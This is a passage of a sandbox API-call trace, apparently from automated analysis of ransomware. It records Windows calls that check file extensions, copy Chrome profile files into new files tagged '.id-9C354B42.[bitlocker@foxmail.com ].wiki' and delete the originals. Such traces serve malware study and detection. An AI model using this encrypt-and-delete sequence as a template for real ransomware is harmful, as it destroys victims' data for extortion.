(lpString=".ppt") returned 4 [0177.706] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.706] lstrlenW (lpString=".zip") returned 4 [0177.706] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString=".rar") returned 4 [0177.706] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString=".bz2") returned 4 [0177.706] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString=".7z") returned 3 [0177.706] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.706] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.706] lstrlenW (lpString=".dbf") returned 4 [0177.706] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.707] lstrlenW (lpString=".1cd") returned 4 [0177.707] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.707] lstrlenW (lpString=".jpg") returned 4 [0177.707] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.707] lstrlenW (lpString=".doc") returned 4 [0177.707] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".docx") returned 5 [0177.707] lstrcmpiW (lpString1=".docx", lpString2="s\\LOG") returned -1 [0177.707] lstrlenW (lpString=".pdf") returned 4 [0177.707] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".xls") returned 4 [0177.707] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".xlsx") returned 5 [0177.707] lstrcmpiW (lpString1=".xlsx", lpString2="s\\LOG") returned -1 [0177.707] lstrlenW (lpString=".ppt") returned 4 [0177.707] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.707] lstrlenW (lpString=".zip") returned 4 [0177.707] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".rar") returned 4 [0177.707] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".bz2") returned 4 [0177.707] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.707] lstrlenW (lpString=".7z") returned 3 [0177.707] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.708] lstrlenW (lpString=".dbf") returned 4 [0177.708] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.708] lstrlenW (lpString=".1cd") returned 4 [0177.708] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.708] lstrlenW (lpString=".jpg") returned 4 [0177.708] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.708] lstrlenW (lpString="MANIFEST-000001") returned 15 [0177.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.708] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=41) returned 1 [0177.708] CloseHandle (hObject=0x334) returned 1 [0177.709] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001")) returned 0x2020 [0177.709] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.709] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.709] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.709] GetLastError () returned 0x0 [0177.709] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x29, lpOverlapped=0x0) returned 1 [0177.710] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x30, lpOverlapped=0x0) returned 1 [0177.711] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.711] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.711] SetEndOfFile (hFile=0x124) returned 1 [0177.711] CloseHandle (hObject=0x124) returned 1 [0177.712] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.712] SetEndOfFile (hFile=0x334) returned 1 [0177.712] CloseHandle (hObject=0x334) returned 1 [0177.712] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.713] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001")) returned 1 [0177.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.713] lstrlenW (lpString=".doc") returned 4 [0177.713] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".docx") returned 5 [0177.713] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.713] lstrlenW (lpString=".pdf") returned 4 [0177.713] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".xls") returned 4 [0177.713] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".xlsx") returned 5 [0177.713] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.713] lstrlenW (lpString=".ppt") returned 4 [0177.713] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.713] lstrlenW (lpString=".zip") returned 4 [0177.713] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".rar") returned 4 [0177.713] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".bz2") returned 4 [0177.713] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.713] lstrlenW (lpString=".7z") returned 3 [0177.713] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString=".dbf") returned 4 [0177.714] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString=".1cd") returned 4 [0177.714] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString=".jpg") returned 4 [0177.714] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString=".doc") returned 4 [0177.714] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString=".docx") returned 5 [0177.714] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.714] lstrlenW (lpString=".pdf") returned 4 [0177.714] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString=".xls") returned 4 [0177.714] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString=".xlsx") returned 5 [0177.714] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.714] lstrlenW (lpString=".ppt") returned 4 [0177.714] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.714] lstrlenW (lpString=".zip") returned 4 [0177.714] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.714] lstrlenW (lpString=".rar") returned 4 [0177.715] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.715] lstrlenW (lpString=".bz2") returned 4 [0177.715] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.715] lstrlenW (lpString=".7z") returned 3 [0177.715] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.715] lstrlenW (lpString=".dbf") returned 4 [0177.715] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.715] lstrlenW (lpString=".1cd") returned 4 [0177.715] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 107 [0177.715] lstrlenW (lpString=".jpg") returned 4 [0177.715] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.715] lstrlenW (lpString="CURRENT") returned 7 [0177.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.716] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0177.716] CloseHandle (hObject=0x334) returned 1 [0177.716] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current")) returned 0x2020 [0177.716] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.716] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.716] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.717] GetLastError () returned 0x0 [0177.717] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0177.717] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0177.718] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.718] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0177.718] SetEndOfFile (hFile=0x124) returned 1 [0177.719] CloseHandle (hObject=0x124) returned 1 [0177.719] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.719] SetEndOfFile (hFile=0x334) returned 1 [0177.719] CloseHandle (hObject=0x334) returned 1 [0177.719] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.720] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current")) returned 1 [0177.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.720] lstrlenW (lpString=".doc") returned 4 [0177.720] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString=".docx") returned 5 [0177.720] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.720] lstrlenW (lpString=".pdf") returned 4 [0177.720] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString=".xls") returned 4 [0177.720] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString=".xlsx") returned 5 [0177.720] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.720] lstrlenW (lpString=".ppt") returned 4 [0177.720] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.720] lstrlenW (lpString=".zip") returned 4 [0177.720] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString=".rar") returned 4 [0177.720] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.720] lstrlenW (lpString=".bz2") returned 4 [0177.721] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString=".7z") returned 3 [0177.721] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString=".dbf") returned 4 [0177.721] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString=".1cd") returned 4 [0177.721] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString=".jpg") returned 4 [0177.721] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString=".doc") returned 4 [0177.721] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString=".docx") returned 5 [0177.721] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.721] lstrlenW (lpString=".pdf") returned 4 [0177.721] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString=".xls") returned 4 [0177.721] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString=".xlsx") returned 5 [0177.721] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.721] lstrlenW (lpString=".ppt") returned 4 [0177.721] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.721] lstrlenW (lpString=".zip") returned 4 [0177.721] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString=".rar") returned 4 [0177.722] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString=".bz2") returned 4 [0177.722] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString=".7z") returned 3 [0177.722] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.722] lstrlenW (lpString=".dbf") returned 4 [0177.722] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.722] lstrlenW (lpString=".1cd") returned 4 [0177.722] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 99 [0177.722] lstrlenW (lpString=".jpg") returned 4 [0177.722] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.722] lstrlenW (lpString="LOCK") returned 4 [0177.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.723] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.723] CloseHandle (hObject=0x334) returned 1 [0177.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.723] lstrlenW (lpString=".doc") returned 4 [0177.723] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".docx") returned 5 [0177.723] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.723] lstrlenW (lpString=".pdf") returned 4 [0177.723] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".xls") returned 4 [0177.723] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".xlsx") returned 5 [0177.723] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.723] lstrlenW (lpString=".ppt") returned 4 [0177.723] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.723] lstrlenW (lpString=".zip") returned 4 [0177.723] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".rar") returned 4 [0177.723] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".bz2") returned 4 [0177.723] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.723] lstrlenW (lpString=".7z") returned 3 [0177.723] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.723] lstrlenW (lpString=".dbf") returned 4 [0177.723] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.724] lstrlenW (lpString=".1cd") returned 4 [0177.724] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.724] lstrlenW (lpString=".jpg") returned 4 [0177.724] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 